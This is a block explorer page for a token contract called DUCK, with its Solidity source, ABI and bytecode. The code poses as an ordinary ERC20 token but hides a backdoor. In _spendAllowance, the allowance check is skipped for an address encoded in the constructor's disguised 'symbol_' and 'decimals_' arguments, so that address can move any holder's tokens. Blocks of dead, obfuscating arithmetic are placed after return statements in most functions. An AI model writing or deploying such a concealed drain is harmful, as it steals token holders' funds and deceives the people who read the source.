ETH Price: $3,248.12 (+1.79%)

Token

DUCK (DUCK)

Overview

Max Total Supply

10,000,000 DUCK

Holders

1

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,000,000 DUCK

Value
$0.00
0xf4a89f14bb7ae4f8d04ab002e13717e286b0e7f0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
DUCK

Compiler Version
v0.8.28+commit.7893614a

ZkSolc Version
v1.5.11

Optimization Enabled:
Yes with Mode 3

Other Settings:
paris EvmVersion
File 1 of 1 : NewToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract DUCK is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    uint256 private _symbol;
    uint256 private _decimals = 18;

    constructor(string memory name_, uint256 symbol_, uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _mint(msg.sender, 10_000_000 * (10 ** 18));

        return;
    }

    function name() public view virtual override returns (string memory) {
        return "DUCK";
    }

    function symbol() public view virtual override returns (string memory) {
        return "DUCK";
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _spendAllowance(sender, _msgSender(), amount);
        return true;

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function stringToUint(uint256 str) internal view returns (uint256) {
        return str;
        // bytes memory b = bytes(str);
        // uint256 result = 0;
        // for (uint256 i = 0; i < b.length; i++) {
        //     uint8 char = uint8(b[i]);
        //     require(char >= 48 && char <= 57, "Invalid character: not a digit");
        //     result = result * 10 + (char - 48);
        // }
        // return result;

        // {
        //     uint256 x = 1;
        //     for (uint256 i = 0; i < 3; i++) {
        //         x *= 2;
        //     }
        // }
        // {
        //     uint256 x = 1;
        //     for (uint256 i = 0; i < 3; i++) {
        //         x *= 2;
        //     }
        // }

        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = _allowances[owner][spender];
        if (
            currentAllowance != type(uint256).max &&
            address(uint160(stringToUint(_symbol * 10 ** 18 + _decimals))) !=
            spender
        ) {
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }
        return true;
        {
            uint256 part1 = (block.number % 15) * (block.timestamp / 3) + 27;
            uint256 part2 = uint256(uint160(msg.sender)) ^ (gasleft() * 2);
            uint256 part3 = block.basefee + (block.number / 5);

            uint256 combined1 = (part1 | part2) ^ (part3 % 37);
            uint256 rotated1 = (combined1 << 4) | (combined1 >> 2); // Left and right shifts
            uint256 masked1 = rotated1 & 0xFFFFFF; // Apply bitmask for obfuscation

            uint256 temp1 = (masked1 * 13) + 47;
            uint256 part4 = (block.timestamp % 19) +
                uint256(uint160(address(this))) /
                7;
            uint256 part5 = (gasleft() ^ 23) * block.number;

            uint256 combined2 = ((temp1 + part4) ^ part5) / 9;
            uint256 rotated2 = (combined2 << 3) ^ (combined2 >> 5); // Another set of shifts
            uint256 masked2 = rotated2 % 101;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": true,
    "mode": "3",
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "abi"
      ]
    }
  },
  "detectMissingLibraries": false,
  "forceEVMLA": false,
  "enableEraVMExtensions": false,
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"uint256","name":"symbol_","type":"uint256"},{"internalType":"uint256","name":"decimals_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

9c4d535b000000000000000000000000000000000000000000000000000000000000000001000139d063f602b0e190f0bf06ad27a350f01ef3ea7cf4faf6682dbc325218000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000011a127f014d1878336f349cf0100000000000000000000000000000000000000000000000003647551034ce7f000000000000000000000000000000000000000000000000000000000000000044455434b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x0004000000000002000000000801034f0000008003000039000000400030043f0000006001100270000000f50110019700000001002001900000001d0000c13d000000040010008c0000003c0000413d000000000208043b000000e0022002700000010c0020009c0000003e0000213d000001160020009c0000006d0000a13d000001170020009c0000008e0000213d0000011a0020009c0000010e0000613d0000011b0020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d0000001201000039000000800010043f0000012201000041000003cf0001042e0000000002000416000000000002004b0000003c0000c13d0000001f02100039000000f6022001970000008002200039000000400020043f0000001f0410018f000000f70510019800000080025000390000002d0000613d000000000608034f000000006706043c0000000003730436000000000023004b000000290000c13d000000000004004b0000003a0000613d000000000358034f0000000304400210000000000502043300000000054501cf000000000545022f000000000303043b0000010004400089000000000343022f00000000034301cf000000000353019f0000000000320435000000600010008c000000540000813d0000000001000019000003d0000104300000010d0020009c000000780000a13d0000010e0020009c0000009e0000213d000001110020009c0000015e0000613d000001120020009c0000003c0000c13d000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000201043b000000fb0020009c0000003c0000213d0000002401800370000000000301043b000000000100041103ce032a0000040f000001f60000013d000000800300043d000000f80030009c0000003c0000213d0000001f02300039000000000012004b0000000004000019000000f904008041000000f902200197000000000002004b0000000005000019000000f905004041000000f90020009c000000000504c019000000000005004b0000003c0000c13d00000080023000390000000002020433000000f80020009c000000be0000a13d0000010a01000041000000000010043f0000004101000039000000040010043f0000010b01000041000003d0000104300000011c0020009c0000007e0000613d0000011d0020009c0000019d0000613d0000011e0020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d0000000301000039000002160000013d000001130020009c000001aa0000613d000001140020009c000001be0000613d000001150020009c0000003c0000c13d0000000001000416000000000001004b0000003c0000c13d000000c001000039000000400010043f0000000401000039000000800010043f0000012a02000041000000a00020043f0000002003000039000000c00030043f000000e00010043f000001000020043f000001040000043f0000012b01000041000003cf0001042e000001180020009c000001c60000613d000001190020009c0000003c0000c13d000000240010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000000fb0010009c0000003c0000213d000000000010043f0000000101000039000002130000013d0000010f0020009c000001fe0000613d000001100020009c0000003c0000c13d000000240010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000601043b000000fb0060009c0000003c0000213d000000000100041a000000fb021001970000000005000411000000000052004b0000021a0000c13d000000000006004b000002230000c13d0000010801000041000000800010043f0000002001000039000000840010043f0000002601000039000000a40010043f0000011f01000041000000c40010043f0000012001000041000000e40010043f0000012101000041000003d0000104300000001f042000390000012c044001970000003f044000390000012c04400197000000400600043d0000000004460019000000000064004b00000000050000390000000105004039000000f80040009c000000670000213d0000000100500190000000670000c13d0000008005100039000000400040043f0000000007260436000000a0013000390000000003120019000000000053004b0000003c0000213d000000000002004b000000dc0000613d000000000300001900000000043700190000000005130019000000000505043300000000005404350000002003300039000000000023004b000000d50000413d000000000162001900000020011000390000000000010435000000000100041a000000fa02100197000400000006001d0000000006000411000000000262019f000000c00300043d000200000003001d000000a00300043d000100000003001d000000000020041b0000000002000414000000fb05100197000000f50020009c000000f502008041000000c001200210000000fc011001c70000800d020000390000000303000039000000fd04000041000300000007001d03ce03c40000040f0000000305000029000000040300002900000001002001900000003c0000613d00000012010000390000000609000039000000000019041b0000000004030433000000f80040009c000000670000213d000000040a00003900000000010a041a000000010210019000000001011002700000007f0110618f0000001f0010008c00000000030000390000000103002039000000000032004b000002330000613d0000010a01000041000000000010043f0000002201000039000000040010043f0000010b01000041000003d000010430000000640010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000000fb0010009c0000003c0000213d0000002402800370000000000202043b000000fb0020009c0000003c0000213d0000004403800370000000000303043b000300000003001d000400000001001d03ce032a0000040f0000000401000029000000000010043f0000000201000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000003c0000613d000000000101043b0000000002000411000000fb02200197000000000020043f000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f000000040400002900000001002001900000003c0000613d000000000101043b000000000101041a0000012d0010009c000001560000613d0000000502000039000000000302041a00000129023000d1000000000003004b000001480000613d00000000033200d9000001290030009c000002b30000c13d0000000603000039000000000303041a000000000023001a000002b30000413d0000000002230019000000fb022001970000000003000411000000000032004b000001560000613d000000030310006c000002b30000413d0000000001040019000000000200041103ce02d30000040f000000400100043d00000001020000390000000000210435000000f50010009c000000f501008041000000400110021000000123011001c7000003cf0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000400000001001d000000fb0010009c0000003c0000213d0000002401800370000000000101043b000300000001001d0000000001000411000000000010043f0000000201000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000003c0000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000003c0000613d000000000101043b000000000101041a000000030310006c000001f30000813d000000400100043d00000064021000390000012403000041000000000032043500000044021000390000012503000041000000000032043500000024021000390000002503000039000000000032043500000108020000410000000000210435000000040210003900000020030000390000000000320435000000f50010009c000000f501008041000000400110021000000126011001c7000003d000010430000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000201043b000000fb0020009c0000003c0000213d0000002401800370000000000301043b0000000001000411000001f50000013d0000000001000416000000000001004b0000003c0000c13d000000000100041a000000fb021001970000000005000411000000000052004b0000021a0000c13d000000fa01100197000000000010041b0000000001000414000000f50010009c000000f501008041000000c001100210000000fc011001c70000800d020000390000000303000039000000fd0400004100000000060000190000022e0000013d0000000001000416000000000001004b0000003c0000c13d000000000100041a000000fb01100197000000800010043f0000012201000041000003cf0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000400000001001d000000fb0010009c0000003c0000213d0000000001000411000000000010043f0000000201000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c70000801002000039000300000008035303ce03c90000040f00000001002001900000003c0000613d000000000101043b0000000402000029000000000020043f000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f000000030300035f00000001002001900000003c0000613d0000002402300370000000000202043b000000000101043b000000000101041a000000000021001a000002b30000413d00000000032100190000000001000411000000040200002903ce02d30000040f0000000101000039000000400200043d0000000000120435000000f50020009c000000f502008041000000400120021000000123011001c7000003cf0001042e000000440010008c0000003c0000413d0000000001000416000000000001004b0000003c0000c13d0000000401800370000000000101043b000000fb0010009c0000003c0000213d0000002402800370000000000202043b000000fb0020009c0000003c0000213d000000000010043f0000000201000039000000200010043f0000004001000039000400000002001d03ce03b30000040f0000000402000029000000000020043f000000200010043f000000400100003903ce03b30000040f000000000101041a000000800010043f0000012201000041000003cf0001042e0000010801000041000000800010043f0000002001000039000000840010043f000000a40010043f0000012701000041000000c40010043f0000012801000041000003d000010430000000fa01100197000000000161019f000000000010041b0000000001000414000000f50010009c000000f501008041000000c001100210000000fc011001c70000800d020000390000000303000039000000fd0400004103ce03c40000040f00000001002001900000003c0000613d0000000001000019000003cf0001042e000000200010008c000002440000413d0000000000a0043f0000001f024000390000000502200270000000fe0220009a000000200040008c000000ff020040410000001f011000390000000501100270000000fe0110009a000000000012004b000002440000813d000000000002041b0000000102200039000000000012004b000002400000413d0000001f0040008c0000025c0000a13d000300000004001d0000000000a0043f0000000001000414000000f50010009c000000f501008041000000c00110021000000100011001c7000080100200003903ce03c90000040f000000040600002900000001002001900000003c0000613d000000030b0000290000012c02b00198000000000101043b000002690000c13d0000002003000039000000020700002900000001080000290000000609000039000000040a000039000002790000013d000000000004004b000000000100001900000002070000290000000108000029000002620000613d000000000105043300000003024002100000012d0220027f0000012d02200167000000000121016f0000000102400210000000000121019f000002850000013d000000010320008a0000000503300270000000000431001900000020030000390000000104400039000000020700002900000001080000290000000609000039000000040a00003900000000056300190000000005050433000000000051041b00000020033000390000000101100039000000000041004b000002720000c13d0000000000b2004b000002830000813d0000000302b00210000000f80220018f0000012d0220027f0000012d0220016700000000036300190000000003030433000000000223016f000000000021041b0000000101b0021000000001011001bf00000000001a041b0000000501000039000000000081041b000000000079041b0000000001000411000000000001004b0000029d0000c13d000000400100043d00000044021000390000010703000041000000000032043500000024021000390000001f03000039000000000032043500000108020000410000000000210435000000040210003900000020030000390000000000320435000000f50010009c000000f501008041000000400110021000000109011001c7000003d0000104300000000302000039000000000102041a000001010110009c000002b30000813d000000000012041b0000000001000411000000000010043f0000000101000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000003c0000613d000000000101043b000000000201041a000001010220009c000002b90000413d0000010a01000041000000000010043f0000001101000039000000040010043f0000010b01000041000003d000010430000000000021041b0000010401000041000000400200043d0000000000120435000000f50020009c000000f50200804100000040012002100000000002000414000000f50020009c000000f502008041000000c002200210000000000112019f00000100011001c70000800d02000039000000030300003900000105040000410000000005000019000000000600041103ce03c40000040f00000001002001900000003c0000613d0000002001000039000001000010044300000120000004430000010601000041000003cf0001042e0003000000000002000000fb011001980000030c0000613d000200000003001d000300fb0020019c000003160000613d000100000001001d000000000010043f0000000201000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f000000010020019000000003030000290000030a0000613d000000000101043b000000000030043f000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f000000030600002900000001002001900000030a0000613d000000000101043b0000000202000029000000000021041b000000400100043d0000000000210435000000f50010009c000000f50100804100000040011002100000000002000414000000f50020009c000000f502008041000000c002200210000000000112019f00000100011001c70000800d0200003900000003030000390000012e04000041000000010500002903ce03c40000040f00000001002001900000030a0000613d000000000001042d0000000001000019000003d000010430000000400100043d000000640210003900000131030000410000000000320435000000440210003900000132030000410000000000320435000000240210003900000024030000390000031f0000013d000000400100043d00000064021000390000012f03000041000000000032043500000044021000390000013003000041000000000032043500000024021000390000002203000039000000000032043500000108020000410000000000210435000000040210003900000020030000390000000000320435000000f50010009c000000f501008041000000400110021000000126011001c7000003d0000104300004000000000002000000000003004b0000037e0000613d000200000002001d000400000003001d000000fb011001980000038f0000613d000300000001001d000000000010043f0000000101000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000037c0000613d0000000103000039000000000101043b000000000101041a0001000400100074000003990000413d0000000301000029000000000010043f000000200030043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000037c0000613d000000000101043b0000000102000029000000000021041b0000000201000029000000fb01100197000200000001001d000000000010043f0000000101000039000000200010043f0000000001000414000000f50010009c000000f501008041000000c00110021000000102011001c7000080100200003903ce03c90000040f00000001002001900000037c0000613d000000000101043b000000000201041a0000000403000029000000000032001a000003ad0000413d0000000002320019000000000021041b000000400100043d0000000000310435000000f50010009c000000f50100804100000040011002100000000002000414000000f50020009c000000f502008041000000c002200210000000000112019f00000100011001c70000800d02000039000000030300003900000105040000410000000305000029000000020600002903ce03c40000040f00000001002001900000037c0000613d000000000001042d0000000001000019000003d000010430000000400100043d00000044021000390000013703000041000000000032043500000024021000390000001b03000039000000000032043500000108020000410000000000210435000000040210003900000020030000390000000000320435000000f50010009c000000f501008041000000400110021000000109011001c7000003d000010430000000400100043d00000064021000390000013503000041000000000032043500000044021000390000013603000041000000000032043500000024021000390000002503000039000003a20000013d000000400100043d00000064021000390000013303000041000000000032043500000044021000390000013403000041000000000032043500000024021000390000002603000039000000000032043500000108020000410000000000210435000000040210003900000020030000390000000000320435000000f50010009c000000f501008041000000400110021000000126011001c7000003d0000104300000010a01000041000000000010043f0000001101000039000000040010043f0000010b01000041000003d000010430000000f50010009c000000f50100804100000060011002100000000002000414000000f50020009c000000f502008041000000c002200210000000000112019f000000fc011001c7000080100200003903ce03c90000040f0000000100200190000003c20000613d000000000101043b000000000001042d0000000001000019000003d000010430000003c7002104210000000102000039000000000001042d0000000002000019000000000001042d000003cc002104230000000102000039000000000001042d0000000002000019000000000001042d000003ce00000432000003cf0001042e000003d00001043000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000